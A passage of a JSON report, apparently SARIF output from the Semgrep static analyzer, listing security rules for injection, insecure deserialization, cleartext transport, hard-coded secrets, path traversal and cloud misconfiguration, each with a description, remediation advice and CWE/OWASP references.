Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request)\n - [https://openjdk.java.net/groups/net/httpclient/intro.html](https://openjdk.java.net/groups/net/httpclient/intro.html)\n","text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"help":{"markdown":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen","id":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","name":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","properties":{"precision":"very-high","tags":["CWE-131: Incorrect Calculation of Buffer Size","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.alloc-strlen.alloc-strlen"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath","id":"java.micronaut.xpath.tainted-xpath.tainted-xpath","name":"java.micronaut.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","id":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","name":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","id":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","name":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","id":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","name":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"help":{"markdown":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)\n","text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencrypted request over HTTP detected."},"help":{"markdown":"Unencrypted request over HTTP detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n","text":"Unencrypted request over HTTP detected."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request","id":"typescript.react.security.react-insecure-request.react-insecure-request","name":"typescript.react.security.react-insecure-request.react-insecure-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-insecure-request.react-insecure-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n - [https://www.npmjs.com/package/mysql](https://www.npmjs.com/package/mysql)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","id":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","name":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","id":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","name":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","id":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","name":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pyyaml.tainted-pyyaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open","id":"ruby.lang.security.dangerous-open.dangerous-open","name":"ruby.lang.security.dangerous-open.dangerous-open","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open.dangerous-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","id":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","name":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"help":{"markdown":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","id":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","name":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"help":{"markdown":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","id":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","name":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"help":{"markdown":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","id":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","name":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","id":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","name":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and 